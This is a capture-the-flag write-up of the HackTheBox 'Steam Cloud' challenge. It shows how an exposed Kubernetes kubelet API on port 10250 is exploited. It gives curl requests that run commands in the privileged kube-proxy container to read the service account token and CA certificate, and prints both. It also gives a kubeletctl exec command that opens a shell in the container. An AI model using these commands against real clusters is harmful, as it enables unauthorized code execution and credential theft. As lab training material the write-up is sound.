Steam Cloud
Steam Cloud was a Cloud challenge from the HackTheBox university qualifier
nmap
As always, it is best to start with a nmap
scan:
ā nmap -sC -sV 10.129.227.136
22/tcp open ssh OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)
| ssh-hostkey:
| 2048 e7:0d:f9:66:cf:c8:54:e4:72:3f:87:f2:60:34:e9:1c (RSA)
| 256 35:21:a2:1f:a9:dd:32:83:67:c8:97:7f:17:61:27:d0 (ECDSA)
|_ 256 22:08:6d:95:2c:9a:5e:06:58:e5:5e:57:a3:c2:35:84 (ED25519)
2379/tcp open ssl/etcd-client?
| ssl-cert: Subject: commonName=steamcloud
| Subject Alternative Name: DNS:localhost, DNS:steamcloud, IP Address:10.129.96.107, IP Address:127.0.0.1, IP Address:0:0:0:0:0:0:0:1
| Not valid before: 2021-11-20T14:29:00
|_Not valid after: 2022-11-20T14:29:00
|_ssl-date: TLS randomness does not represent time
| tls-alpn:
|_ h2
2380/tcp open ssl/etcd-server?
| ssl-cert: Subject: commonName=steamcloud
| Subject Alternative Name: DNS:localhost, DNS:steamcloud, IP Address:10.129.96.107, IP Address:127.0.0.1, IP Address:0:0:0:0:0:0:0:1
| Not valid before: 2021-11-20T14:29:00
|_Not valid after: 2022-11-20T14:29:00
|_ssl-date: TLS randomness does not represent time
| tls-alpn:
|_ h2
8443/tcp open ssl/https-alt
| fingerprint-strings:
| FourOhFourRequest:
| HTTP/1.0 403 Forbidden
| Audit-Id: fb620265-f85a-4183-8ce2-ac97bf0b3443
| Cache-Control: no-cache, private
| Content-Type: application/json
| X-Content-Type-Options: nosniff
| X-Kubernetes-Pf-Flowschema-Uid: ff99352c-cbd6-46e5-a170-da75cbe306fe
| X-Kubernetes-Pf-Prioritylevel-Uid: c324b812-613f-4329-8ecc-eeaab989ce61
| Date: Sat, 20 Nov 2021 15:08:22 GMT
| Content-Length: 212
| {"kind":"Status","apiVersion":"v1","metadata":{},"status":"Failure","message":"forbidden: User "system:anonymous" cannot get path "/nice ports,/Trinity.txt.bak"","reason":"Forbidden","details":{},"code":403}
| GetRequest:
| HTTP/1.0 403 Forbidden
| Audit-Id: 3249e779-382e-441d-aff4-1053f0b1d492
| Cache-Control: no-cache, private
| Content-Type: application/json
| X-Content-Type-Options: nosniff
| X-Kubernetes-Pf-Flowschema-Uid: ff99352c-cbd6-46e5-a170-da75cbe306fe
| X-Kubernetes-Pf-Prioritylevel-Uid: c324b812-613f-4329-8ecc-eeaab989ce61
| Date: Sat, 20 Nov 2021 15:08:22 GMT
| Content-Length: 185
| {"kind":"Status","apiVersion":"v1","metadata":{},"status":"Failure","message":"forbidden: User "system:anonymous" cannot get path "/"","reason":"Forbidden","details":{},"code":403}
| HTTPOptions:
| HTTP/1.0 403 Forbidden
| Audit-Id: 5062933f-d679-48bc-ab92-00a9b93d2199
| Cache-Control: no-cache, private
| Content-Type: application/json
| X-Content-Type-Options: nosniff
| X-Kubernetes-Pf-Flowschema-Uid: ff99352c-cbd6-46e5-a170-da75cbe306fe
| X-Kubernetes-Pf-Prioritylevel-Uid: c324b812-613f-4329-8ecc-eeaab989ce61
| Date: Sat, 20 Nov 2021 15:08:22 GMT
| Content-Length: 189
|_ {"kind":"Status","apiVersion":"v1","metadata":{},"status":"Failure","message":"forbidden: User "system:anonymous" cannot options path "/"","reason":"Forbidden","details":{},"code":403}
|_http-title: Site doesn't have a title (application/json).
| ssl-cert: Subject: commonName=minikube/organizationName=system:masters
| Subject Alternative Name: DNS:minikubeCA, DNS:control-plane.minikube.internal, DNS:kubernetes.default.svc.cluster.local, DNS:kubernetes.default.svc, DNS:kubernetes.default, DNS:kubernetes, DNS:localhost, IP Address:10.129.96.107, IP Address:10.96.0.1, IP Address:127.0.0.1, IP Address:10.0.0.1
| Not valid before: 2021-11-19T14:28:57
|_Not valid after: 2024-11-19T14:28:57
|_ssl-date: TLS randomness does not represent time
| tls-alpn:
| h2
|_ http/1.1
10249/tcp open http Golang net/http server (Go-IPFS json-rpc or InfluxDB API)
|_http-title: Site doesn't have a title (text/plain; charset=utf-8).
10250/tcp open ssl/http Golang net/http server (Go-IPFS json-rpc or InfluxDB API)
|_http-title: Site doesn't have a title (text/plain; charset=utf-8).
| ssl-cert: Subject: commonName=steamcloud@1637418543
| Subject Alternative Name: DNS:steamcloud
| Not valid before: 2021-11-20T13:29:03
|_Not valid after: 2022-11-20T13:29:03
|_ssl-date: TLS randomness does not represent time
| tls-alpn:
| h2
|_ http/1.1
10256/tcp open http Golang net/http server (Go-IPFS json-rpc or InfluxDB API)
|_http-title: Site doesn't have a title (text/plain; charset=utf-8).
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port8443-TCP:V=7.91%T=SSL%I=7%D=11/20%Time=61990F66%P=x86_64-pc-linux-g
SF:nu%r(GetRequest,22F,"HTTP/1\.0\x20403\x20Forbidden\r\nAudit-Id:\x203249
SF:e779-382e-441d-aff4-1053f0b1d492\r\nCache-Control:\x20no-cache,\x20priv
SF:ate\r\nContent-Type:\x20application/json\r\nX-Content-Type-Options:\x20
SF:nosniff\r\nX-Kubernetes-Pf-Flowschema-Uid:\x20ff99352c-cbd6-46e5-a170-d
SF:a75cbe306fe\r\nX-Kubernetes-Pf-Prioritylevel-Uid:\x20c324b812-613f-4329
SF:-8ecc-eeaab989ce61\r\nDate:\x20Sat,\x2020\x20Nov\x202021\x2015:08:22\x2
SF:0GMT\r\nContent-Length:\x20185\r\n\r\n{\"kind\":\"Status\",\"apiVersion
SF:\":\"v1\",\"metadata\":{},\"status\":\"Failure\",\"message\":\"forbidde
SF:n:\x20User\x20\\\"system:anonymous\\\"\x20cannot\x20get\x20path\x20\\\"
SF:/\\\"\",\"reason\":\"Forbidden\",\"details\":{},\"code\":403}\n")%r(HTT
SF:POptions,233,"HTTP/1\.0\x20403\x20Forbidden\r\nAudit-Id:\x205062933f-d6
SF:79-48bc-ab92-00a9b93d2199\r\nCache-Control:\x20no-cache,\x20private\r\n
SF:Content-Type:\x20application/json\r\nX-Content-Type-Options:\x20nosniff
SF:\r\nX-Kubernetes-Pf-Flowschema-Uid:\x20ff99352c-cbd6-46e5-a170-da75cbe3
SF:06fe\r\nX-Kubernetes-Pf-Prioritylevel-Uid:\x20c324b812-613f-4329-8ecc-e
SF:eaab989ce61\r\nDate:\x20Sat,\x2020\x20Nov\x202021\x2015:08:22\x20GMT\r\
SF:nContent-Length:\x20189\r\n\r\n{\"kind\":\"Status\",\"apiVersion\":\"v1
SF:\",\"metadata\":{},\"status\":\"Failure\",\"message\":\"forbidden:\x20U
SF:ser\x20\\\"system:anonymous\\\"\x20cannot\x20options\x20path\x20\\\"/\\
SF:\"\",\"reason\":\"Forbidden\",\"details\":{},\"code\":403}\n")%r(FourOh
SF:FourRequest,24A,"HTTP/1\.0\x20403\x20Forbidden\r\nAudit-Id:\x20fb620265
SF:-f85a-4183-8ce2-ac97bf0b3443\r\nCache-Control:\x20no-cache,\x20private\
SF:r\nContent-Type:\x20application/json\r\nX-Content-Type-Options:\x20nosn
SF:iff\r\nX-Kubernetes-Pf-Flowschema-Uid:\x20ff99352c-cbd6-46e5-a170-da75c
SF:be306fe\r\nX-Kubernetes-Pf-Prioritylevel-Uid:\x20c324b812-613f-4329-8ec
SF:c-eeaab989ce61\r\nDate:\x20Sat,\x2020\x20Nov\x202021\x2015:08:22\x20GMT
SF:\r\nContent-Length:\x20212\r\n\r\n{\"kind\":\"Status\",\"apiVersion\":\
SF:"v1\",\"metadata\":{},\"status\":\"Failure\",\"message\":\"forbidden:\x
SF:20User\x20\\\"system:anonymous\\\"\x20cannot\x20get\x20path\x20\\\"/nic
SF:e\x20ports,/Trinity\.txt\.bak\\\"\",\"reason\":\"Forbidden\",\"details\
SF:":{},\"code\":403}\n");
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 103.89 seconds
We got quite some results. Also some unrecognized ports. However, a quick search reveals that on port 10250 the kubelet API is hosted.
Kubelet API
After searching around how to interact with the kubelet API, we have found this gist that showed an interesting API endpoint hosted on the kubelet API: https://10.129.227.136:10250/pods
. Doing a curl
to this endpoint showed us a lot of information about the kubernetes cluster. Most interesting was that the kube-proxy
pod contains a privileged container.
From this article we also found the runningpods/
endpoint whichi revealed a lot of detailed information too about the pods that we can interact with:
ā curl -sk https://10.129.227.136:10250/runningpods/ | jq '.items[].metadata.name'
"kube-apiserver-steamcloud"
"etcd-steamcloud"
"nginx"
"storage-provisioner"
"coredns-78fcd69978-zbwf9"
"kube-proxy-84qt4"
"kube-controller-manager-steamcloud"
"kube-scheduler-steamcloud"
Now we have everything to be able to interact with the pods.
Getting code execution
The gist previously mentioned also described a way to get code execution, namely through the exec/
endpoint on port 10250. This method is also described in the article and we know from that, that it is interesting to get the service account token:
ā curl -XPOST -k \
https://10.129.227.136:10250/run/kube-system/kube-proxy-84qt4/kube-proxy \
-d "cmd=cat /var/run/secrets/kubernetes.io/serviceaccount/token"
eyJhbGciOiJSUzI1NiIsImtpZCI6ImR5VFdmTTk2WnRENW5QVWRfaXF0SFhTV1VVeG9fWkRGQm9hMTN4VlBzRm8ifQ.eyJhdWQiOlsiaHR0cHM6Ly9rdWJlcm5ldGVzLmRlZmF1bHQuc3ZjLmNsdXN0ZXIubG9jYWwiXSwiZXhwIjoxNjY4OTQwMTUxLCJpYXQiOjE2Mzc0MDQxNTEsImlzcyI6Imh0dHBzOi8va3ViZXJuZXRlcy5kZWZhdWx0LnN2Yy5jbHVzdGVyLmxvY2FsIiwia3ViZXJuZXRlcy5pbyI6eyJuYW1lc3BhY2UiOiJrdWJlLXN5c3RlbSIsInBvZCI6eyJuYW1lIjoia3ViZS1wcm94eS04NHF0NCIsInVpZCI6ImY3Nzk3MWRhLWZkZjgtNGU5YS1hNzdlLWU1YWU1MzljNDdmMCJ9LCJzZXJ2aWNlYWNjb3VudCI6eyJuYW1lIjoia3ViZS1wcm94eSIsInVpZCI6ImM1YjBlOTljLTljYTUtNDFhNy04OTBkLTZiM2RjMTZmMzc5NCJ9LCJ3YXJuYWZ0ZXIiOjE2Mzc0MDc3NTh9LCJuYmYiOjE2Mzc0MDQxNTEsInN1YiI6InN5c3RlbTpzZXJ2aWNlYWNjb3VudDprdWJlLXN5c3RlbTprdWJlLXByb3h5In0.y9XWqSPMJUw7MkBI13mPkSrqtXdiYkVusJGMdqY50aO4JGuJDc0TO0ZbGGo0Hzo9ik-Xs9pGSICl86EsqxYx2whR9RnS3bxujTXSPuIJJtVpwAbLoMZjWGxF6acvTcyREKxRDbSced6YdlwkkpzIH7ck1lvhyvrTfQqmOojMs64xrnz7qKg80qfQVGtXS9m2gywPRLFyeDwdrTPln-yKiZAdDmHarXLiaiBsrWXgcsurTB6ksJqlCS43yjXUWMN5F4cBtgEuCOWoAn7qJELt_AqzlBCk0eJz_gH5DnF_V7bl7MSOPa1phb271KCy3FXZqVR56BLv0WyjVtazN6b3zw
Now we have obtained to service account token and we can use kubectl
to interact with the API. We can try to extract some secrets:
kubectl --insecure-skip-tls-verify=true --server="https://10.129.227.136:10250" --token="eyJhbG[snip]zN6b3zw" get secrets --all-namespaces
However, this didn't result in any output...
We tried to get code a reverse shell using this method for code execution, but file descriptors did not work in this shell and there were almost no binaries to use for a reverse shell.
Getting a shell
After searching around on the internet for some useful tools, we have found kubeletctl. This tool uses the kubectl
config to interact with the kubelet API. In order for this tool to work, we also need the ca.crt
in the container, so we get that too using our method for code execution:
ā curl -XPOST -k \
https://10.129.227.136:10250/run/kube-system/kube-proxy-84qt4/kube-proxy \
-d "cmd=cat /var/run/secrets/kubernetes.io/serviceaccount/ca.crt"
-----BEGIN CERTIFICATE-----
MIIDBjCCAe6gAwIBAgIBATANBgkqhkiG9w0BAQsFADAVMRMwEQYDVQQDEwptaW5p
a3ViZUNBMB4XDTIxMTExNTExNDUyOVoXDTMxMTExNDExNDUyOVowFTETMBEGA1UE
AxMKbWluaWt1YmVDQTCCASIwDQYJKoZIhvcNAQEBBQADggEPADCCAQoCggEBAJ5e
vZyukR7NVz3KtzprRBO0oDPOMBPIhOyHfkhVvn1oRtDVyK5ivlvIYdSFUp6OVJGq
3KTGq/cU3UCULcdAm4fUUNddkhuhGyzSnIy80yu9PAnCWqebi3tMykvpNdV7NqAs
aVh+iRLc7I0w9Bi1zU0DvMIDwvEgSbkpd06+aBKfg3P2zbosHUhGyPw5V5nfGhcE
SKdMLyCaEpmJg8hHIMMqDOthTUoVKXxtLUFlYu7GPspXeWIv2CmH383MslUgx5ak
SI57eh9mzPZXVh3cjcJWejoq00LNLoVdm+bdUzn8pvVIxvzellHzQ/IcpLT/GufE
DAFvCfOndI+AOCKu4jMCAwEAAaNhMF8wDgYDVR0PAQH/BAQDAgKkMB0GA1UdJQQW
MBQGCCsGAQUFBwMCBggrBgEFBQcDATAPBgNVHRMBAf8EBTADAQH/MB0GA1UdDgQW
BBRG6VO+4YmEyjQkvCBG3vYqpneGajANBgkqhkiG9w0BAQsFAAOCAQEAAF2csmso
G+AfEm0U+wAxTNtEkUBdk0seswj7TkQyCwt5qGgX4wctjCo0kwvgmnz5QpWM0t0M
GFoUUWCtIYWCzS/W1QK04PTI9/4IgJOEi584SBCx+/cF4HTSB3+a3dWp9OXd/KP4
rkjaZZU2DUZfp4B5brBUmP5h1MTnXJnI+5jcmF7kF6uhE4DgYbMrj7SkG/egT5GX
6cwgh4RhMzdTJxdVCVhjACynSUvg4sllk2YF/0Nda/v3C8gDhUDcO6qyXqfutAGE
MhxgN4lKI0zpxFBTpIwJ3iZemSfh3pY2UqX03ju4TreksGMkX/hZ2NyIMrKDpolD
602eXnhZAL3+dA==
-----END CERTIFICATE-----
kubeletctl
has the following useful option:
exec Run commands inside a container
To get a shell in the privileged kube-proxy
container running in the kube-proxy-84qt4
pod, we have to configure kubeletctl
to use the right namespace (kube-system
) and we have to give it the certificate we found. The command to get that shell is then the following: kubeletctl exec /bin/sh -p kube-proxy-84qt4 -c kube-proxy -n kube-system -s 10.129.227.136 --cacert ./ca.crt
Now we have a shell in the privileged container. Now we have to find a way to get the flag on the host.
Getting the flag
The container appears to be very limited. There are almost not binaries available to do some privilege escalation to get to the host.
However, due to the way a team mate solved GoodGames, we tried to just grep via /dev/sda1
for the flag:
And that actually works! We get back two flags, but one of the flags worked:
HTB{d0n7_3Xpo53_Ku83L37}